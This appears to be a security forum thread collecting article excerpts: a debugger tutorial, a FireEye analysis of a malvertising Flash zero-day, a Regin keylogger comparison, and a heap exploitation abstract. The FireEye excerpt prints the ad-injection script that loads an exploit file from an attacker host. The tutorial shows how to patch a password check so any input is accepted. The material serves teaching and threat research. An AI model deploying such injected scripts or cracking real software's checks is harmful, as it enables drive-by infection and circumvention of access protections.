little if one of the endpoints is compromised. The BlackPhone appears to do many things right, but in age of advanced hacking and ever more complex software, that's no guarantee it can't be hacked. Sursa: http://arstechnica.com/security/2015/01/bug-in-ultra-secure-blackphone-let-attackers-decrypt-texts-stalk-users/

An Introduction To x64_dbg Welcome to this short, introductory tutorial for using x64_dbg. The goal of this tutorial is to teach you some of the fundamentals of the x64_dbg and show you how closely its features and flexibility resembles its close cousin Ollydbg.While x64_dbg is still in an alpha stage, its bugs are minor and few with only a crash happening under unlikely conditions. 1. The Configuration. Configuring x64_dbg is quite simple since the menu is much more concise than ollydbg, making the process much more user friendly. To access the configuration dialog, simply go to the Options menu and click Preferences. In the first tab labeled Events, you can configure what events you want x64_dbg to break on when they occur. The configuration in the screenshot above is what I typically recommend and use for simple debugging. The options here are just like those found in ollydbg 1.10 with a few additional features. Here is the gist of what these features do. System Breakpoint: When loading a new process, the will cause x64_dbg to break in the system function which initializes the application you are attempting to debug. TLS Callbacks: The TLS Callback is a function which is called before the main application runs. This can set parameters or even be used by certain protectors to implement anti-debug technology. This allows you to break on this function. Entry Breakpoint: This causes x64_dbg to break on the Entry point on the application. For general debugging, this is the only breakpoint you will need to have checked. DLL Entry: This will break on the entry point of any DLL which is loaded by the process you are debugging. Thread Entry: This will break on the first instruction of any new thread initialized by the current process. Attach Breakpoint: When this is checked, it will cause x64_dbg to break in the DbgUiRemoteBreakin function when attaching to an active process. If unchecked, it will attach without suspending the process. DLL Load/DLL Unload: This will break in the system function when a new library(DLL) is loaded into or unloaded from the active process. The DLL Load breakpoint occurs before any of its code is executed. Thread Start/Thread End: This allows us to break in system when our debugged application initializes or terminates a thread. In the Engine pane, you will find a few advanced settings for the debugging engine. This should just be left as default in most cases, but here is a rundown of how they work. Enable Debug Privilege: This allows you to attach to system processes. Breakpoint Type: This feature allows you to try different types of breakpoints if your program detects or blocks the default INT3. Undecorate Symbol Names: This makes symbol names look cleaner. It is an aesthetic feature. In the Exceptions pane, you can tell x64_dbg which exceptions you would like to ignore and pass to the program. Leaving this blank will let x64_dbg break on every exception. If you want to ignore all exceptions, add the range 0-ffffffff using the Add Range button. The Add Last button will allow you to add the most recent exception which the program you are currently debugging incurred to the ignore list. We can use the Disasm pane in order to change the appearance of the disassembled instructions. Here is a gist of what these options do. Argument Spaces: This will put a space after every argument changing mov rax,rdx to mov rax, rdx. It essentially puts a space after every comma. Memory Spaces: This puts a space in between memory reference instructions and their operators. This causes mov eax, byte ptr ds:[edx+18] to look like mov eax, byte ptr ds:[edx + 18]. Uppercase: This changes all of the text to uppercase. Autocomments only on CIP: This will remove all comments, including references from the current disassembly except at the instruction pointer. The Misc tab allows you to configure x64_dbg to be the Just in Time Debugger so that the system can attach it to a process whenever a problem occurs. 1. Debugging x64_dbg Sample: In order to make this tutorial a little more hands on, I created a little program called x64_dbg Sample. It and its source are available for download directly from the x64_dbg sourceforge directory at the following link: http://sourceforge.net/projects/x64dbg/files/extra/ Once you have downloaded this, extract it from the archive and let's open it in x64_dbg. To do so, you can start x64_dbg and drag and drop the file into the disassembly window or use the File -> Open option to do the same. Alternately, you can let the default x64_dbg program automatically register a shell extension for you so you can open files through the right click menu. Once you have opened it and you had previously configured the event settings to Entry Point only, you should be at the entry point of the main module. In the interface, you will see that x64_dbg has many of the same shortcut keys as ollydbg. In the debug menu, you can see that x64_dbg has the same hotkeys as Ollydbg. These commands provide some of the key operations that you will need to use in your regular debugging activities. Run(F9): This starts or resumes the process normally. Run(skip exceptions) (Shift+f9): This will resume the process while passing the current and all following exceptions to the process. Pause(F12): This suspends the current process. Restart(Ctrl+F2): This terminates the debugged process and reloads it. Close(Alt+F4): This terminates and unloads the debugged process. Step Into(F7): This allows us to enter a routine or execute the next step in a repeat instruction. Step Into(skip exceptions)(Shift+F7): This allows us to enter a routine or execute the next step in a repeat instruction while passing the current exception to the application. Step Over(F8): This allows you to execute an entire subroutine or repeat instruction without stepping through it instruction by instruction. Step Over(skip exceptions)(Shift+F8): This allows you to execute an entire subroutine or repeat instruction without stepping through it instruction by instruction while passing the current exception to the application. Execute Till Return(Ctrl+F9): This resumes the process until a return instruction is executed. Execute Till Return(skip exceptions)(Ctrl+Shift+F9): This resumes the process until a return instruction is executed while passing the current exception to the application. Breakpoints: When you are debugging, one of the primary features you want to use is called breakpoints. There are 3 main types of breakpoints. We will briefly discuss these here. Execution Breakpoint: This is the most common and most used type of breakpoint. When you toggle a breakpoint on a specific address, this tell the debugger to stop when that address is reached in the execution. To use this, simply press the F2 when over an address you would like to break on. Memory Breakpoint: A memory breakpoint is used to pause an application when a specific area of memory is either accessed, written to, or executed. This is handy when you want to determine when or if a specific area of memory is used by the program. This is available in the right click menu of the memory map window and dump pane. Hardware Breakpoint: A hardware breakpoint is used to pause an application when a particular address is either written to, read, or executed. This is specifically useful to determine when a particular variable is set. This can be used for byte, word, and dword reads and writes. This feature is available in the right click menu of the hex dump. Let's Begin: Now that we have a general understanding of the features in x64_dbg, we can begin debugging our first target. We already have our target loaded into x64_dbg, so let's Run it by pressing F9. As you can see, the application begins to run with the debugger attached to it. At this point, we can pause the application in x64_dbg and take a look at a few of its features. To pause the application, press F12. When we pause, we arrive inside of a break-in thread created by x64_dbg. In order to get back to the main thread, we simply click the threads tab and double click on the one labeled main. Once we arrive in the Main Thread, we can start stepping through the routines and analyzing the call stack. The Call Stack window gives you an extensive list of the functions and procedures(routines) which brought you to your current location. You can use this window to analyze these routines and learn about your application's execution routine. Just double click the one you would like to follow in the disassembler. The Memory Map pane will show us all of the sections or regions of RAM allocated to and by our application and its dependencies. Let's go ahead and resume the process by pressing F9. Let's attempt to enter the fake password '123456' into the application and see what message is returned when we click Check. As we see, this is not a valid password because of the message 'Authentication Failed. Invalid Password!' Now that we know the message, let's use the built-in find referenced strings function in x64_dbg to see if we can locate this string inside of the application.To do this, we first need to verify that we are currently inside of the application module. Once this is verified, we can either click on the 'A' button on the top pane of x64_dbg, or left click in the disassembly pane and go to Search for -> String references. This will build up a listing of all of the strings referenced in the application's code. Once you build up a list, we can use the search pane to filter the list and find the location of this string. However, since this is small application, a simple scroll to the bottom will reveal the location of where our string is referenced, as well as some other interesting strings. Double clicking any of these will take you to their location in the disassembly pane. You can also toggle a breakpoint on these references by simply pressing F2. Let's follow the 'Authentication Failed..' string and see where it takes us. In the picture above, I have set a breakpoint at the beginning of the function which checks our password. I have also added some comments beside of a few of the calls so that we can understand this a little better. If we were to step through this using f8, which steps over the calls, we can see the process. Let's toggle the breakpoint at the beginning of this function using F2, enter the value of123456 into the password box and click Check. We will immediately break on our breakpoint. As we step, you will notice that we will get the password we entered in the text field and then hash it with the built in algorithm. As we can see, our password is being run through a digest or hashing algorithm and being compared to a precalculated value which is stored in the program as a string. To determine which hash algorithm type this program is using, we can use my software hashing utility to compare the results for the string '123456'. In the debug sample, the hash returned for '123456' is 'e10adc3949ba59abbe56e057f20f883e'. Let's see which algorithm produces the same. It appears that our hash algorithm is MD5. Since the hash is compared to a hardcoded value, it may take a long time to bruteforce or recover the original password. Using x64_dbg, we have the ability to patch or modify the instructions so that it can accept any password as valid. In the code above, our hashes are compared. If they are equal to each other, the program tells us the password is valid. If not, we are told it is invalid. Using the built in assembler, we can change the location of where the comparison jump lands. That means if we change it to the next instruction, it will always show that the password is valid regardless of what we enter. To use the assembler, we simply press the space bar when we are over top of the instruction we want to change. Normally, this would jump to VA 59EA68 if the password is invalid. Here, we will simply change the address to 59EA5A so that it will always go to the valid password code regardless of what we enter into the field. After we click OK, the instruction is immediately modified in memory. Now that we have patched, let's test the '123456' password again. As you can see, anything we enter now will be the correct password. However, this patch only affects the memory of the process. Once we restart the program, this patch will be gone. If you want to make this patch permanent, you can save this to disk. This will make a modified copy of our executable that will always accept a fake password. To do so, we open the patch dialog by clicking the button with the bandage on it at the top. Once this is opened, we can check the patch you want to save, and this click Patch file. This will allow you to save the modified program directly on disk under any name that you specify. Now, since we know how the algorithm works, let's see if we can break the password. Online there are multiple databases that will check if they have a solution to your hash. In order to copy the built in hash as a string, we need to follow the value in the dump.To do so, right click on the instruction which points to the built in hash and go to Follow in Dump -> Address. Now that we are in the dump, we need to highlight the hex values of the hash string, right click, and the click edit. This will allow us to simply copy the string directly to our clipboard. Now that we have the hash, we can paste it into a hash solver such as the one available at hashkiller.co.uk. Amazingly, it has found a solution saying that the password is ba321c. Let's open the unmodified program or restart the one in our debugger and try this value in the password field. Using our minds and taking this simple approach, we have found the password. This concludes this introductory tutorial for x64_dbg. This is a very powerful reverse engineering tool that offers a wide range of features and flexibility to accomplish even the most difficult tasks. We are very fortunate that the author has made this free and open source. We should always take the time to thank the developer who has worked hard on this with a small donation or contribution. I hope you found this tutorial helpful. If you have any questions, feel free to ask them below. Until next time, happy reversing. Posted by Chester Fritz at 1:33 PM Sursa: http://reverseengineeringtips.blogspot.gr/2015/01/an-introduction-to-x64dbg.html

A Different Exploit Angle on Adobe's Recent Zero-Day January 27, 2015 | By Dan Caselden, Corbin Souffrant, James T. Bennett | Exploits, Threat Research The Angler Exploit Kit (EK) recently incorporated a zero-day exploit (CVE-2015-0311) as discussed on Jan. 21 by Kafeine (http://malware.dontneedcoffee.com/2015/01/unpatched-vulnerability-0day-in-flash.html). OnJan. 24, FireEye encountered a variant of this exploit packaged in a completely different way. The following is a technical discussion of this sample and its contrast to that provided by the Angler EK. Mitigation Adobe has released a patch addressing CVE-2015-0311. Applying this security patch will prevent this and any other samples relying on CVE-2015-0311 from successfully exploiting victim machines. New Variant HTML/Javascript Attack Vector The exploit is being served through advertising banners on adult websites, including one Alexa top 1000 site. The Flash exploit is loaded by plain Javascript generated from php that appears to be devoid of any environmental checks or obfuscations that are typically indicative of the Angler EK: <script type="text/javascript" src="http://neteasymarketing[.]biz/tracking.php"></script> ---- document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param name="movie" value="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" /><!--[if !IE]>--><object type="application/x-shockwave-flash" data="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" width="1" height="1"></object><!--<![endif]--></object>'); Articol complet: https://www.fireeye.com/blog/threat-research/2015/01/a_different_exploit.html

Comparing the Regin module 50251 and the "Qwerty" keylogger Costin Raiu Igor Soumenkov On January 17 2015, Spiegel.de published an extensive article based on documents obtained from Edward Snowden. At the same time, they provided a copy of a malicious program codenamed "QWERTY" (http://www.spiegel.de/media/media-35668.pdf), supposedly used by several governments in their CNE operations. We've obtained a copy of the malicious files published by Der Spiegel and when we analyzed them, they immediately reminded us of Regin. Looking at the code closely, we conclude that the "QWERTY" malware is identical in functionality to the Regin 50251 plugin. Analysis The Qwerty module pack consists of three binaries and accompanying configuration files. One file from the package– 20123.sys – is particularly interesting. The "20123.sys" is a kernel mode part of the keylogger. As it turns out, it was built from source code that can also be found one Regin module, the "50251" plugin. Using a binary diff it is easy to spot a significant part of code that is shared between both files: Most of the shared code belongs to the function that accesses the system keyboard driver: Most of the "Qwerty" components call plugins from the same pack (with plugin numbers 20121 – 20123), however there is also one piece code that references plugins from the Regin platform. One particular part of code is used in both the "Qwerty" 20123 module and the Regin's 50251 counterpart, and it addresses the plugin 50225 that can be found in the virtual filesystems of Regin. The Regin's plugin 50225 is reponsible for kernel-mode hooking. This is a solid proof that the Qwerty plugin can only operate as part of the Regin platform, leveraging the kernel hooking functions from plugin 50225. As an additional proof that both modules use the same software platform, we can take a look at functions exported by ordinal 1 of both modules. They contain the startup code that can be found in any other plugin of Regin, and include the actual plugin number that is registered within the platform to allow further addressing of the module. This only makes sense if the modules are used with the Regin platform orchestrator. The reason why the two modules have different plugin IDs is unknown. This is perhaps because they are leveraged by different actors, each one with its own allocated plugin ID ranges. Conclusions Our analysis of the QWERTY malware published by Der Spiegel indicates it is a plugin designed to work part of the Regin platform. The QWERTY keylogger doesn't function as a stand-alone module, it relies on kernel hooking functions which are provided by the Regin module 50225. Considering the extreme complexity of the Regin platform and little chance that it can be duplicated by somebody without having access to its sourcecodes, we conclude the QWERTY malware developers and the Regin developers are the same or working together. Another important observation is that Regin plugins are stored inside an encrypted and compressed VFS, meaning they don't exist directly on the victim's machine in "native" format. The platform dispatcher loads and executes there plugins at startup. The only way to catch the keylogger is by scanning the system memory or decoding the VFSes. Sursa: https://securelist.com/blog/research/68525/comparing-the-regin-module-50251-and-the-qwerty-keylogger/

[h=2]Advanced Heap Overflow Exploitation[/h] [h=4]By Francois Goichon, 28 Jan. 2015[/h]For 15 years, heap exploitation has gone through a relentless cycle of the disclosure of technical exploitation techniques and consequent hardening of malloc() in response. Notable examples include: the old-school unlink() exploit; the Malloc Maleficarum revisited in 2009; and Google Project Zero's large chunks unlink, where libc fails to compile assert() statements in. Inevitably, most of the techniques described in these papers are now obsolete, have been subsequently patched, or have been rendered unexploitable through the addition of mitigation technologies such as Address Space Layout Randomisation (ASLR) and No eXecute (NX). Nowadays, exploiting heap structures is heavily dependent on the target application, and in most scenarios the goal is to overwrite pointers or indexes that can eventually provide program counter (PC) control or an arbitrary overwrite. In this paper, however, we target a more specific scenario, where the heap overflow cannot immediately reach interesting data. We present how heap structures can be abused to produce overlapping chunks. The exploitation process is then comparable to use-after-free vulnerabilities. We demonstrate this scenario in both a real-world example and a proof-of-concept program prone to overflows in heap areas where the attacker can predict and further manage chunk allocation. This happens in programs that make an extensive use of malloc() and free() with user-controlled chunks, namely protocol handlers, parsers, editors or, more generally, applications maintaining algorithmic structures of said user-supplied data. Read the full whitepaper Sursa: Advanced Heap Overflow Exploitation

Better and more secure JavaScript! Because! Just include… <script src="secure.js"></script> …and reap the benefits of really safe and secure JavaScript! ;;;;;;;;;; // semicolons make things securer, trust me on this;;;;;;;;;; ;;;;;;;;;; ((((( function(){ function log(message){ if ('console' in this && 'log' in console) {{{{ console.log(message); }}}} } // first, test if JavaScript is available document.write('<script>;;;;;var __secure = true;;;;;</script>'); if (!__secure) {{{{ return log("secure.js: security alert: whoa, no JavaScript available!!1!"); }}}} // sanity check that JavaScript actually works if (!(1+1 == 2)) {{{{ return log("secure.js: security alert: nice try, fake JavaScript!!1!"); }}}} // before declaring strict mode, which requires a string, // test if Strings are available if (!'String' in this) {{{{ return log("secure.js: security alert: strings are not available!!1!"); }}}} // improve security by using strict mode "use strict"; return log("secure.js: everything is really secure now!"); ;;;;;;;;;; } )))))() ;;;;;;;;;; ;;;;;;;;;; // some more security padding Acest post este un... Sursa: https://github.com/madrobby/secure.js/blob/master/secure.js

Da-ne niste detalii si niste dovezi. Intre timp, scot din informatii.

Super.